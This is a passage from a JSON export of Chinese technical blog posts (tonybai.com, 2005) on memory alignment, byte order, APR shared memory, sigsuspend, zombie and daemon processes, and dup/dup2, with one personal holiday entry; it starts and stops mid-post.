n跨页存储，那么程序在访问该变量的时候就必须通过两次换页才能完整的访问该数据，这照比不跨页存储的数据多了一次换页的工作。像这样如果不做约束的话，那么像n这样的数据将会到处都是，那么将会系统的性能很差。在Sun SPARC平台上像这样跨页存储会导致BUS ERROR，在Windows平台上也会带来性能上的下降。相反如果每个数据都是按照页边界对齐的话就不会带来上面的问题。\n除了虚拟内存的机制，Cache也是一个要求内存对齐的重要原因。一个Cache由若干Cache Line组成，每个Line中包括一个标签(tag)和一个数据块(Cache Block)组成，CPU在读写Cache时一般是按照Cache Line整行读写的，Cache结构如下图： tag | block\n| 0 8 16 31\n—–+—————+—————+—————\n| 32 | | Line 0\n—–+—————+—————+—————\n| 64 | | Line 1\n—–+—————+—————+—————\n同虚拟内存一样，原子类型数据项不应该跨Cache Line边界存储。具体不详述了。\n3、编译器甜头\n如果上述问题都让应用程序员自己来解决的话，那就太困难了。庆幸的是我们尝到了“编译器甜头”，编译器通过自动分配和填充数据(在内存中)来进行对齐。对数据进行对齐可以迫使每个内存访问局限在一个cache line或一个单独的页面(page)内。这样就极大简化了cache controller和MMC这样的硬件设计和实现，并且大大提高了访存速度。总结一下：要求数据对齐，从另一个角度说就是不允许原子类型数据项跨越页面或者Cache边界。\n4、常见操作未对齐内存的问题\n在Sun的Solaris SPARC Runtime Check文档中列出了常见的几种操作未对齐内存的问题：(在Sun SPARC Solaris 9下测试，GCC 3.4.2)\n未对齐读(Misaligned Read)\n例子：\nint j;\nchar *s = \u0026ldquo;hello world\u0026rdquo;;\nint *i = (int *)\u0026amp;s[1];\nj = *i; /* Dump Core */ 分析：s指向的字符串中每个字符地址仅仅能满足1字节对齐，而读该数据项时却要求8字节对齐(GCC默认)，\u0026amp;s[1]显然不满足对齐要求，运行出Core。\n未对齐写(Misaligned Write)\n例子：\nchar *s = \u0026ldquo;hello world\u0026rdquo;;\nint *i = (int *)\u0026amp;s[1];\n*i = \u0026rsquo;m\u0026rsquo; ; /* Dump Core */ 分析：s指向的字符串中每个字符地址仅仅能满足1字节对齐，而上面程序却向该地址写数据时却要求8字节对齐(GCC默认)，\u0026amp;s[1]显然不满足对齐要求，运行出Core。\n未对齐Free\n例子：\nchar *ptr = (char *)malloc(4);\nptr++;\nfree(ptr); /* Misaligned free */\n分析：略 5、什么时候需要考虑到内存对齐\n考虑内存对齐的一个典型情况就是“在异构平台间以C结构体的方式进行数据交互”。举个简单的例子：“现需要在Windows平台将一个test_t类型的数据写入一个二进制文件并将该二进制文件在Linux平台下解析，在不指定对齐系数的前提下：Windows平台默认对齐系数为8，而Linux平台默认对齐系数为4”。(暂不考虑字节序的影响)\n假设test_t结构如下:\nstruct test_t {\ndouble d;\nchar c;\n};\n在Windows平台下将一个test_t写入二进制文件，由于对齐后test_t大小为16，所以该二进制文件大小为16；将该文件传到Linux上并解析，由于Linux上对齐后的test_t大小为12，导致Linux上的程序验证该二进制文件的完整性失败，解析失败。解决方案：在两个平台使用相同的对齐系数。如对其系数为8：\n#pragma pack(8)\nstruct test_t {\ndouble d;\nchar c;\n};\n#pragma pack()\n这样两边就能完美对正了。\n","permalink":"https://tonybai.com/2005/11/02/talk-about-memory-again/","summary":"\u003cp\u003e离我的上一篇BLOG已经时隔一个月有余，项目忙是一方面原因，最主要的还是自己没什么“收获”。在最近的项目中总是和内存打交道，时间长了，便有了些许问题，原本我就不是不求甚解者，遂趁此机会又复习了些内存相关资料。\u003c/p\u003e","title":"再说内存"},{"content":"一次Sun SPARC到Intel X86的平台移植让我们的程序遭遇了“字节序问题”，既然遇到了也就不妨深入的学习一下。\n一、字节序定义\n字节序，顾名思义字节的顺序，再多说两句就是大于一个字节类型的数据在内存中的存放顺序(一个字节的数据当然就无需谈顺序的问题了)。\n其实大部分人在实际的开发中都很少会直接和字节序打交道。唯有在跨平台以及网络程序中字节序才是一个应该被考虑的问题。\n在所有的介绍字节序的文章中都会提到字节序分为两类：Big-Endian和Little-Endian。引用标准的Big-Endian和Little-Endian的定义如下：\na) Little-Endian就是低位字节排放在内存的低地址端，高位字节排放在内存的高地址端。\nb) Big-Endian就是高位字节排放在内存的低地址端，低位字节排放在内存的高地址端。\nc) 网络字节序：TCP/IP各层协议将字节序定义为Big-Endian，因此TCP/IP协议中使用的字节序通常称之为网络字节序。\n其实我在第一次看到这个定义时就很糊涂，看了几个例子后也很是朦胧。什么高/低地址端？又什么高低位？翻阅了一些资料后略有心得。\n二、高/低地址与高低字节\n首先我们要知道我们C程序映像中内存的空间布局情况：在《C专家编程》中或者《Unix环境高级编程》中有关于内存空间布局情况的说明，大致如下图：\n———————– 最高内存地址 0xffffffff\n| 栈底\n.\n. 栈\n.\n栈顶\n———————–\n|\n|\n\\|/\nNULL (空洞) /|\\\n|\n|\n———————–\n堆\n———————–\n未初始化的数据\n—————-(统称数据段)\n初始化的数据\n———————–\n正文段(代码段)\n———————– 最低内存地址 0×00000000\n以上图为例如果我们在栈上分配一个unsigned char buf[4]，那么这个数组变量在栈上是如何布局的呢[注1]？看下图：\n栈底 （高地址）\n———-\nbuf[3]\nbuf[2]\nbuf[1]\nbuf[0]\n———-\n栈顶 （低地址）\n现在我们弄清了高低地址，接着我来弄清高/低字节，如果我们有一个32位无符号整型0×12345678(呵呵，恰好是把上面的那4个字节buf看成一个整型)，那么高位是什么，低位又是什么呢？其实很简单。在十进制中我们都说靠左边的是高位，靠右边的是低位，在其他进制也是如此。就拿0×12345678来说，从高位到低位的字节依次是0×12、0×34、0×56和0×78。\n高低地址和高低字节都弄清了。我们再来回顾一下Big-Endian和Little-Endian的定义，并用图示说明两种字节序：\n以unsigned int value = 0×12345678为例，分别看看在两种字节序下其存储情况，我们可以用unsigned char buf[4]来表示value：\nBig-Endian: 低地址存放高位，如下图：\n栈底 （高地址）\n—————\nbuf[3] (0×78) — 低位\nbuf[2] (0×56)\nbuf[1] (0×34)\nbuf[0] (0×12) — 高位\n—————\n栈顶 （低地址）\nLittle-Endian: 低地址存放低位，如下图：\n栈底 （高地址）\n—————\nbuf[3] (0×12) — 高位\nbuf[2] (0×34)\nbuf[1] (0×56)\nbuf[0] (0×78) — 低位\n—————\n栈顶 （低地址）\n在现有的平台上Intel的X86采用的是Little-Endian，而像Sun的SPARC采用的就是Big-Endian。\n三、例子\n测试平台: Sun SPARC Solaris 9和Intel X86 Solaris 9\n我们的例子是这样的：在使用不同字节序的平台上使用相同的程序读取同一个二进制文件的内容。\n生成二进制文件的程序如下:\n/* gen_binary.c */\nint main() {\nFILE *fp = NULL;\nint value = 0×12345678;\nint rv = 0;\nfp = fopen(\u0026ldquo;temp.dat\u0026rdquo;, \u0026ldquo;wb\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;fopen error\\n\u0026rdquo;);\nreturn -1;\n}\nrv = fwrite(\u0026amp;value, sizeof(value), 1, fp);\nif (rv != 1) {\nprintf(\u0026ldquo;fwrite error\\n\u0026rdquo;);\nreturn -1;\n}\nfclose(fp);\nreturn 0;\n}\n读取二进制文件的程序如下：\nint main() {\nint value = 0;\nFILE *fp = NULL;\nint rv = 0;\nunsigned char buf[4];\nfp = fopen(\u0026ldquo;temp.dat\u0026rdquo;, \u0026ldquo;rb\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;fopen error\\n\u0026rdquo;);\nreturn -1;\n}\nrv = fread(buf, sizeof(unsigned char), 4, fp);\nif (rv != 4) {\nprintf(\u0026ldquo;fread error\\n\u0026rdquo;);\nreturn -1;\n}\nmemcpy(\u0026amp;value, buf, 4); // or value = *((int*)buf);\nprintf(\u0026ldquo;the value is %x\\n\u0026rdquo;, value);\nfclose(fp);\nreturn 0;\n}\n测试过程：\n(1) 在SPARC平台下生成temp.dat文件\n在SPARC平台下读取temp.dat文件的结果：\nthe value is 12345678\n在X86平台下读取temp.dat文件的结果：\nthe value is 78563412\n(1) 在X86平台下生成temp.dat文件\n在SPARC平台下读取temp.dat文件的结果：\nthe value is 78563412\n在X86平台下读取temp.dat文件的结果：\nthe value is 12345678\n[注1]\nbuf[4]在栈的布局我也是通过例子程序得到的：\nint main() {\nunsigned char buf[4];\nprintf(\u0026ldquo;the buf[0] addr is %x\\n\u0026rdquo;, buf);\nprintf(\u0026ldquo;the buf[1] addr is %x\\n”, \u0026amp;buf[1]);\nreturn 0;\n}\noutput:\nSPARC平台：\nthe buf[0] addr is ffbff788\nthe buf[1] addr is ffbff789\nX86平台：\nthe buf[0] addr is 8047ae4\nthe buf[1] addr is 8047ae5\n两个平台都是buf[x]所在地址高于buf[y] (x \u0026gt; y)。\n","permalink":"https://tonybai.com/2005/09/28/also-talk-about-byte-order/","summary":"\u003cp\u003e一次Sun SPARC到Intel X86的平台移植让我们的程序遭遇了“\u003ca href=\"http://en.wikipedia.org/wiki/Endianness\"\u003e字节序\u003c/a\u003e问题”，既然遇到了也就不妨深入的学习一下。\u003c/p\u003e\n\u003cp\u003e一、字节序定义\u003cbr\u003e\n字节序，顾名思义字节的顺序，再多说两句就是大于一个字节类型的数据在内存中的存放顺序(一个字节的数据当然就无需谈顺序的问题了)。\u003c/p\u003e","title":"也谈字节序问题"},{"content":"共享内存是一种重要的IPC方式。在项目中多次用到共享内存，只是用而并未深入研究。这次趁研究APR代码的机会复习了共享内存的相关资料。\nAPR共享内存封装的源代码的位置在$(APR_HOME)/shmem目录下，本篇blog着重分析unix子目录下的shm.c文件内容，其相应头文件为$(APR_HOME)/include/apr_shm.h。\n一、共享内存简单小结\n共享内存是最快的IPC方式，因为一旦这样的共享内存段映射到各个进程的地址空间，这些进程间通过共享内存的数据传递就不需要内核的帮忙了。Stevens的解释是“各进程不是通过执行任何进入内核的系统调用来传递数据，显然内核的责任仅仅是建立各进程地址空间与共享内存的映射，当然像处理页面故障这一类的底层活还是要做的”。相比之下，管道和消息队列交换数据时都需要内核来中转数据，速度就相对较慢。\nUnix“历史悠久”，所以在历史上不同版本的Unix提供了不同的支持共享内存的方式，我想这也是Stevens在《Unix网络编程第2卷》中花费三章来讲解共享内存的原因吧。你也不妨先看看shm.c中的代码，代码用条件宏分割不同Share Memory的实现。\n二、APR共享内存封装\nAPR提供多种创建共享内存的方式，其中最主要的就是apr_shm_create接口，其伪码如下：\napr_shm_create\n{\nif (要创建匿名shm) {\n#if APR_USE_SHMEM_MMAP_ZERO || APR_USE_SHMEM_MMAP_ANON\n#if APR_USE_SHMEM_MMAP_ZERO\nxxxx ———- (1)\n#elif APR_USE_SHMEM_MMAP_ANON\nxxxx ———- (2)\n#endif\n#endif /* APR_USE_SHMEM_MMAP_ZERO || APR_USE_SHMEM_MMAP_ANON */\n#if APR_USE_SHMEM_SHMGET_ANON\nxxxx ———- (3)\n#endif\n} else { /* 创建有名shm */\n#if APR_USE_SHMEM_MMAP_TMP || APR_USE_SHMEM_MMAP_SHM\n#if APR_USE_SHMEM_MMAP_TMP\nxxxx ———- (4)\n#endif\n#if APR_USE_SHMEM_MMAP_SHM\nxxxx ———- (5)\n#endif\n#endif /* APR_USE_SHMEM_MMAP_TMP || APR_USE_SHMEM_MMAP_SHM */\n#if APR_USE_SHMEM_SHMGET\nxxxx ———- (6)\n#endif }\n}\napr_shm_create函数代码很长，之所以这样是因为其支持多种创建Share Memory的方式，在上面的伪代码中共用条件宏分隔了6种方式，这6种方式将在下面分析。可以看出shmem主要分为\u0026quot;匿名的\u0026quot;和\u0026quot;有名的\u0026quot;，其中\u0026quot;有名的\u0026quot;都是通过filename来标识(或通过ftok转换filename而得到的shmid来标识)。\n其中不同版本Unix创建匿名shmem的做法如下：\n(1) SVR4通过映射\u0026quot;/dev/zero\u0026quot;设备文件来获得匿名共享内存，其代码一般为：\nfd = open(\u0026quot;/dev/zero\u0026quot;, ..);\nptr = mmap(…, MAP_SHARED, fd, …);\n(2) 4.4 BSD提供更加简单的方式来支持匿名共享内存(注意标志参数MAP_XX)\nptr = mmap(…, MAP_SHARED | MAP_ANON, -1, …);\n(3) System V匿名共享内存区的做法如下：\nshmid = shmget(IPC_PRIVATE, …);\nptr = shmat(shmid, …);\n匿名共享内存一般都用于有亲缘关系的进程间的数据通讯。由父进程创建共享内存，子进程自动继承下来。由于是匿名，没有亲缘关系的进程是不能动态连接到该共享内存区的。\n不同版本Unix创建有名shmem的做法如下：\n(4) 由于是有名的shmem，所以与匿名不同的地方在于用filename替代\u0026quot;/dev/zero\u0026quot;做映射。\nfd = open(filename, …);\napr_file_trunc(…);\nptr = mmap(…, MAP_SHARED, fd, …);\n(5) Posix共享内存的做法\nfd = shm_open(filename, …);\napr_file_trunc(…);\nptr = mmap(…, MAP_SHARED, fd, …);\n值得注意的一点就是通过shm_open映射的共享内存可以供无亲缘关系的进程共享。apr_file_trunc用于重新设定共享内存对象长度。\n(6) System V有名共享内存区的做法如下：\nshmkey = ftok(filename, 1);\nshmid = shmget(shmkey, …); //相当于open or shm_open\nptr = shmat(shmid, …); //相当于mmap\n有名共享内存一般都与一个文件相关，该文件映射到共享内存段，而不同的进程(包括无亲缘关系的进程)则都映射到该文件以达到目的。在APR中通过apr_shm_attach可以动态将调用进程连接到已存在的共享内存区上，前提是你必须知道该共享内存区的标识，在APR中一律用filename做标识。\n三、总结\n内核架起了多个进程间共享数据的纽带–共享内存。通过上面的叙述你会发现共享内存的创建其实并不困难，真正困难的是共享内存的管理[注1]，在正规的软件公司像内存/共享内存管理这样的重要底层功能都是封装成库形式的，当然内存管理的内容不是这篇blog重点涉及的内容。\n四、参考资料：\n1、《Unix网络编程第2卷》\n2、《Unix环境高级编程》\n[注1] SIGSEGV和SIGBUS\n涉及共享内存的管理就不能不提到访问共享内存对象。谈到访问共享内存对象就要留神“SIGSEGV和SIGBUS”这两个信号。\n系统分配内存页来承载内存映射区，由于内存页大小是固定的，所以存在多余的页空间空闲，比如待映射文件大小为5000 bytes，内存映射区大小也为5000 bytes。而一个内存页大小4096，系统势必要分配两页来承载，这时空闲的有效空间为从5000-8191，如果进程访问这段地址空间也不会发生错误。但是要超出8191，就会收到SIGSEGV信号，导致程序停止。关于SIGBUS信号的来历，这里也举例说明：若待映射文件大小为5000 bytes，我们在mmap时指定内存映射区size = 15000 \u0026gt; 5000，这时内核真正的共享区承载体大小只有8192（能包容映射文件大小即可），此时在[0，8191]内访问均没问题，但在[8192, 14999]之间会得到SIGBUS信号；超出15000访问时会触发SIGSEGV信号。\n","permalink":"https://tonybai.com/2005/09/23/apr-shmem/","summary":"\u003cp\u003e共享内存是一种重要的IPC方式。在项目中多次用到共享内存，只是用而并未深入研究。这次趁研究\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e代码的机会复习了共享内存的相关资料。\u003c/p\u003e\n\u003cp\u003eAPR共享内存封装的源代码的位置在$(APR_HOME)/shmem目录下，本篇blog着重分析unix子目录下的shm.c文件内容，其相应头文件为$(APR_HOME)/include/apr_shm.h。\u003c/p\u003e","title":"APR源代码分析-共享内存篇"},{"content":"Unix提供了等待信号的系统调用，sigsuspend就是其中一个，在CU(www.chinaunix.net)上曾经讨论过一个关于该系统调用的问题，这里也做一下解疑。\nCU网友讨论的问题的核心就是到底sigsuspend先返回还是signal handler先返回。这个问题Stevens在《Unix环境高级编程》一书中是如是回答的“If a signal is caught and if the signal handler returns, then sigsuspend returns and the signal mask of the process is set to its value before the call to sigsuspend.”，由于sigsuspend是原子操作，所以这句给人的感觉就是先调用signal handler先返回，然后sigsuspend再返回。但其第一个例子这么讲又说不通，看下面的代码：\nCU上讨论该问题起于中的该例子：\nint main(void) {\nsigset_t newmask, oldmask, zeromask;\nif (signal(SIGINT, sig_int) == SIG_ERR)\nerr_sys(\u0026ldquo;signal(SIGINT) error\u0026rdquo;);\nsigemptyset(\u0026amp;zeromask);\nsigemptyset(\u0026amp;newmask);\nsigaddset(\u0026amp;newmask, SIGINT);\n/* block SIGINT and save current signal mask */\nif (sigprocmask(SIG_BLOCK, \u0026amp;newmask, \u0026amp;oldmask) \u0026lt; 0)\nerr_sys(\u0026ldquo;SIG_BLOCK error\u0026rdquo;);\n/* critical region of code */\npr_mask(\u0026ldquo;in critical region: \u0026ldquo;);\n/* allow all signals and pause */\nif (sigsuspend(\u0026amp;zeromask) != -1)\nerr_sys(\u0026ldquo;sigsuspend error\u0026rdquo;);\npr_mask(\u0026ldquo;after return from sigsuspend: \u0026ldquo;);\n/* reset signal mask which unblocks SIGINT */\nif (sigprocmask(SIG_SETMASK, \u0026amp;oldmask, NULL) \u0026lt; 0)\nerr_sys(\u0026ldquo;SIG_SETMASK error\u0026rdquo;);\n/* and continue processing … */\nexit(0);\n}\nstatic void sig_int(int signo) {\npr_mask(\u0026rdquo;\\nin sig_int: \u0026ldquo;);\nreturn;\n}\n结果：\n$a.out\nin critical region: SIGINT\n^C\nin sig_int: SIGINT\nafter return from sigsuspend: SIGINT\n如果按照sig_handler先返回，那么SIGINT是不该被打印出来的，因为那时屏蔽字还没有恢复，所有信号都是不阻塞的。那么是Stevens说错了么？当然没有，只是Stevens没有说请在sigsuspend的原子操作中到底做了什么？\nsigsuspend的整个原子操作过程为：\n(1) 设置新的mask阻塞当前进程；\n(2) 收到信号，恢复原先mask；\n(3) 调用该进程设置的信号处理函数；\n(4) 待信号处理函数返回后，sigsuspend返回。\n大致就是上面这个过程，噢，原来signal handler是原子操作的一部分，而且是在恢复屏蔽字后执行的，所以上面的例子是没有问题的，Stevens说的也没错。由于Linux和Unix的千丝万缕的联系，所以在两个平台上绝大部分的系统调用的语义是一致的。上面的sigsuspend的原子操作也是从《深入理解Linux内核》一书中揣度出来的。书中的描述如下：\nThe sigsuspend( ) system call puts the process in the TASK_INTERRUPTIBLE state, after having blocked the standard signals specified by a bit mask array to which the mask parameter points. The process will wake up only when a nonignored, nonblocked signal is sent to it. The corresponding sys_sigsuspend( ) service routine executes these statements:\nmask \u0026amp;= ~(sigmask(SIGKILL) | sigmask(SIGSTOP));\nspin_lock_irq(¤t-\u0026gt;sigmask_lock);\nsaveset = current-\u0026gt;blocked;\nsiginitset(¤t-\u0026gt;blocked, mask);\nrecalc_sigpending(current);\nspin_unlock_irq(¤t-\u0026gt;sigmask_lock);\nregs-\u0026gt;eax = -EINTR;\nwhile (1) {\ncurrent-\u0026gt;state = TASK_INTERRUPTIBLE;\nschedule( );\nif (do_signal(regs, \u0026amp;saveset))\nreturn -EINTR;\n}\n而最后的do_signal函数调用则是负责调用User Signal Handler的家伙。我想到这CU上的那个问题该被解疑清楚了吧。\n","permalink":"https://tonybai.com/2005/09/22/understand-sigsuspend/","summary":"\u003cp\u003eUnix提供了等待信号的系统调用，sigsuspend就是其中一个，在CU(\u003ca href=\"http://www.chinaunix.net/\"\u003ewww.chinaunix.net\u003c/a\u003e)上曾经讨论过一个关于该系统调用的问题，这里也做一下解疑。\u003c/p\u003e\n\u003cp\u003eCU网友讨论的问题的核心就是到底sigsuspend先返回还是signal handler先返回。这个问题Stevens在《Unix环境高级编程》一书中是如是回答的“If a signal is caught and if the signal handler returns, then sigsuspend returns and the signal mask of the process is set to its value before the call to sigsuspend.”，由于sigsuspend是原子操作，所以这句给人的感觉就是先调用signal handler先返回，然后sigsuspend再返回。但其第一个例子这么讲又说不通，看下面的代码：\u003cbr\u003e\nCU上讨论该问题起于中的该例子：\u003cbr\u003e\nint main(void) {\u003cbr\u003e\n   sigset_t   newmask, oldmask, zeromask;\u003c/p\u003e","title":"解疑sigsuspend"},{"content":"潜水于CU(www.chinaunix.net)，看到了大家对Zombie Process和Daemon Process的理解，同样也意识到以前自己对这两个概念理解的偏颇，想在这篇Blog中将之纠正。\n一、Zombie Process\nZombie Process，译成中文为僵尸进程，以前我一直认为父进程先结束，子进程就变成了僵尸进程，事实上这与正确的理解恰恰相反，真惭愧，只是从字面理解了而并未深入研究。下面重新理解一下:\n父子进程的退出次序无非两种：（这里的父进程并不等待子进程）\n(1) 父进程先，子进程后\n在《Unix环境高级编程》中Stevens是这样说的：“对于其父进程已经终止的所有进程，它们的父进程都改变为init进程。我们称这些进程由init进程领养。其操作过程大致是：在一个进程终止时，内核逐个检查所有活动进程，以判断它是否是正要终止的进程的子进程，如果是，则该进程的父进程ID就更改为1 ( init进程的ID )。这种处理方法保证了每个进程有一个父进程”。这样子进程退出后的“善后”工作就由init进程来完成了，不会产生Zombie Process，在后面Stevens谈到了避免子进程成为Zombie Process的一个技巧就是利用init进程托管。\n(2) 子进程先，父进程后\n用CU上一个网友的形象理解就是“小孩死了老爸不管就变僵尸了”。其实进程的退出应该分成两个阶段：\na) 进程主程序退出，此时进程进入TASK_ZOMBIE状态。此时大部分与该进程相关的资源都已被释放了，包括该进程的运行的地址空间已不存在了，它拥有的东西包括内核进程栈信息、线程相关信息等其父进程可能需要知道的信息。\nb) 当其父进程获取上述进程留下的信息后(调用wait or waitpid)或者其父进程通知内核对该进程的信息不感兴趣(调用signal(SIGCHLD,SIG_IGN); )时，该进程在内核中的资源才被释放。只有这两部都完成了，该进程才算是真正意义上的优美退出。而产生Zombie Process的本质就在于只完成了a)步骤，而b)的步骤却迟迟没有进程来完成（这本来是fork该子进程的父进程的责任）。这样的话，该进程在内核中占用的资源始终不能得到释放，一旦系统内部Zombie Process多了，系统运行就会受到影响了。\n二、Daemon Process\nDaemon Process，译为守护进程、后台进程或精灵进程。其定义这里引用Stevens的话“守护进程是生存期长的一种进程。它们独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。他们常常在系统引导装入时启动，在系统关闭时终止。unix系统有很多守护进程，大多数服务器都是用守护进程实现的”。\n守护进程可以通过一步一步的改造普通进程而得来。创建守护进程的步骤很固定，但是想要完全理解为什么要这么做的话，要了解的东西还不少。我们先来看看Stevens的做法：\nint daemon_init(void) {\nint pid;\npid = fork(); ———–(1)\nif (pid \u0026lt; 0) {\nreturn -1;\n} else if (pid \u0026gt; 0) {\nexit(0);\n}\n/* child process */\nsetsid(); ———-(2) 注[1]\nchdir(\u0026quot;/\u0026quot;); umask(0);\n关闭相关文件描述符(根据具体的系统而定)\nreturn 0;\n}\n由于在书中Stevens对这些已经说的很详细，这里只是简单说明：\n(1) 这里父进程退出，子进程为init进程托管，所以你用ps -fj察看会发现其ppid == 1。这里子进程从亲生父进程那继承了进程组ID、会话(session)ID和控制终端。子进程由于派生于父进程所以不可能成为进程组首进程，这为其成为Daemon创造了先天的条件(可以调用setsid成为新的session的首进程)。而后天的条件则需其自己创造了。\n(2) 而子进程要想成为Daemon，就必须建立新的会话(Session)。由于会话对控制终端的独享性，一旦子进程创建了新的会话，就会自动脱离原先继承的控制终端。由于已经是新的会话所以进程组ID和Session ID都为该子进程的PID，该进程也成为新的进程组的首进程。\n在CU的讨论中，又有如下一些问题：\na) 如何禁止进程重新打开控制终端？\n现在，进程已经成为无终端的会话首进程，但它可以重新申请打开一个控制终端。如何来做来阻止其重新打开一个控制终端呢？可以通过使进程不再成为会话组长来禁止进程重新打开控制终端。这个话题有时被说成“创建一个Daemon进程到底需要一次fork还是二次fork”\nint daemon_init(void) {\nint pid;\npid = fork(); if (pid \u0026lt; 0) {\nreturn -1;\n} else if (pid \u0026gt; 0) {\nexit(0);\n}\n/* new session founder process */\nsetsid(); pid = fork()；\nif (pid \u0026lt; 0) {\nreturn -1;\n} else if (pid \u0026gt; 0) {\nexit(0);\n}\n/* child process */\nchdir(\u0026quot;/\u0026quot;); umask(0);\n关闭相关文件描述符(根据具体的系统而定)\nreturn 0;\n}\nb) 是否处理SIGCHLD信号？\n很多Daemon进程在运行过程中还会fork出很多子进程，如果父进程不等待这些子进程，它们结束后就会变成Zombie Process，仍然占用了系统的资源，简单的调用signal(SIGCHLD, SIGIGN);就可以避免这种事情的发生，这个根据程序的需要可选。\n三、总结\n在实际的开发中，Zombie Process的产生往往是由于设计不当造成的。而创建Daemon Process也是不局限于上面Stevens的做法，当然必要的步骤是不能省略的。\n四、参考资料\n1、《Unix环境高级编程》\n2、《深入理解Linux内核》\n[注1]进程组、会话(Session)和控制终端(Control Terminal)之间的关系\n理解Daemon Process涉及到进程组、会话(Session)和控制终端(Control Terminal)等多个概念，下面是它们的概念和之间的关系：\n进程组：进程组是一个或多个进程的集合。每个进程组有一个唯一的进程组ID；\n会话：一个或多个进程组的集合；\n控制终端：通常是我们在登录的终端设备（终端登录情况）或伪终端设备（网络登录情况）。\n一个会话若干个进程组(一般一个前台进程组和若干个后台进程组) 0或1个控制终端\n","permalink":"https://tonybai.com/2005/09/21/understand-zombie-and-daemon-process/","summary":"\u003cp\u003e潜水于CU(\u003ca href=\"http://www.chinaunix.net/\"\u003ewww.chinaunix.net\u003c/a\u003e)，看到了大家对Zombie Process和Daemon Process的理解，同样也意识到以前自己对这两个概念理解的偏颇，想在这篇Blog中将之纠正。\u003c/p\u003e\n\u003cp\u003e一、Zombie Process\u003cbr\u003e\nZombie Process，译成中文为僵尸进程，以前我一直认为父进程先结束，子进程就变成了僵尸进程，事实上这与正确的理解恰恰相反，真惭愧，只是从字面理解了而并未深入研究。下面重新理解一下:\u003c/p\u003e","title":"理解Zombie和Daemon Process"},{"content":"又是一年中秋节，大街小巷弥漫着月饼的味道和喜庆的气氛，发现现在中秋的一个特点就是“月饼贼贵，人还排队(买)”，看来中国人民的生活水平真是提高了。这是我在沈城过的第二个中秋，对于有GF的我中秋节意味着“大出血”，所以今天在沈阳最繁华的商业街上你要是细心观察的话准会发现我们的身影(如果你真的这么做的话，你就应该到医院看医生了:)，小心现在医院贼宰人哟，先看看钱袋里是否带足钱了再说)。不过今年中秋有一个不同之处就是GF让我“改格”。从到公司那天起我就一直保持着一个风格–“正式”–几乎每天都着正装，当然我也尽量收敛变通一些，毕竟不能穿的太正式，否则就与身份不相称了。但是我的的确确是从内心喜欢这种风格，这是我一直追求的生活的一部分。着正装的目的不是为了炫耀着什么，曾经有位同事和我说过，大致就是“如果你要做什么样的人，你就要在每件事上模仿这样的人的做法”。\n直到中秋节的前一天晚上，突然GF说我“打扮得太老了，和我的实际年龄不符”，我愕然。GF随之下了命令“你要改变风格”–改格的由来。帝制都被推翻100多年了，不过这个世界仍然有“圣旨”这个东西的存在，有GF的单身的男士一般都知道:)。从东到西，从西到东，12个小时我们一个接一个的与Tony Jean、马克.华菲和Jack Jones不期而遇。最后的交易不便透露，不过最终离彻底改变风格还差一步，我们已经筋疲力尽。“改格尚未成功，我们还需努力”，这一艰巨的任务恐怕只有在下周某某大型商场的“狂甩节”上才能完成了。\n回家，在环路上，突然防空警报四起，大街上的车辆同时鸣笛，旁边的几个中年人谈到今天是9.18。我遂从梦中醒来，心中顿生澎湃，第一次身临其境的感受9.18耻辱纪念日，脑中不断浮现出日本鬼子的暴行，看着车上那些年轻人仍然在嬉戏打闹，心里真不是滋味儿…，此时此刻大学军训时常唱的一首歌“大刀向鬼子头上砍去…”从我的手机中飘扬出来…\n","permalink":"https://tonybai.com/2005/09/19/change-image/","summary":"\u003cp\u003e又是一年中秋节，大街小巷弥漫着月饼的味道和喜庆的气氛，发现现在中秋的一个特点就是“月饼贼贵，人还排队(买)”，看来中国人民的生活水平真是提高了。这是我在沈城过的第二个中秋，对于有GF的我中秋节意味着“大出血”，所以今天在沈阳最繁华的商业街上你要是细心观察的话准会发现我们的身影(如果你真的这么做的话，你就应该到医院看医生了:)，小心现在医院贼宰人哟，先看看钱袋里是否带足钱了再说)。不过今年中秋有一个不同之处就是GF让我“改格”。从到公司那天起我就一直保持着一个风格–“正式”–几乎每天都着正装，当然我也尽量收敛变通一些，毕竟不能穿的太正式，否则就与身份不相称了。但是我的的确确是从内心喜欢这种风格，这是我一直追求的生活的一部分。着正装的目的不是为了炫耀着什么，曾经有位同事和我说过，大致就是“如果你要做什么样的人，你就要在每件事上模仿这样的人的做法”。\u003c/p\u003e","title":"改格"},{"content":"看到ChinaUnix(CU)上的一个帖子后，觉得自己对dup和dup2特别是后者的理解还是有欠缺的，这两个接口看起来很简单，但是理解起来也真的并不是那么容易。\n相信大部分在Unix/Linux下编程的程序员手头上都有《Unix环境高级编程》(APUE)这本超级经典巨著。作者在该书中讲解dup/dup2之前曾经讲过“文件共享”，这对理解dup/dup2还是很有帮助的。这里做简单摘录以备在后面的分析中使用：\nStevens said:\n(1) 每个进程在进程表中都有一个记录项，每个记录项中有一张打开文件描述符表，可将视为一个矢量，每个描述符占用一项。与每个文件描述符相关联的是：\n(a) 文件描述符标志。\n(b) 指向一个文件表项的指针。\n(2) 内核为所有打开文件维持一张文件表。每个文件表项包含：\n(a) 文件状态标志(读、写、增写、同步、非阻塞等)。\n(b) 当前文件位移量。\n(c) 指向该文件v节点表项的指针。\n图示：\n文件描述符表\n————\nfd0 0 | p0 ————-\u0026gt; 文件表0 ———\u0026gt; vnode0\n————\nfd1 1 | p1 ————-\u0026gt; 文件表1 ———\u0026gt; vnode1\n————\nfd2 2 | p2 ————\nfd3 3 | p3 ————\n… …\n… …\n————\n一、单个进程内的dup和dup2\n假设进程A拥有一个已打开的文件描述符fd3，它的状态如下：\n进程A的文件描述符表(before dup2)\n————\nfd0 0 | p0 ————\nfd1 1 | p1 ————-\u0026gt; 文件表1 ———\u0026gt; vnode1\n————\nfd2 2 | p2 ————\nfd3 3 | p3 ————-\u0026gt; 文件表2 ———\u0026gt; vnode2\n————\n… …\n… …\n————\n经下面调用：\nn_fd = dup2(fd3, STDOUT_FILENO);后进程状态如下：\n进程A的文件描述符表(after dup2)\n————\nfd0 0 | p0 ————\nn_fd 1 | p1 ————\n———— \\\nfd2 2 | p2 \\\n———— _\\|\nfd3 3 | p3 ————-\u0026gt; 文件表2 ———\u0026gt; vnode2\n————\n… …\n… …\n————\n解释如下：\nn_fd = dup2(fd3, 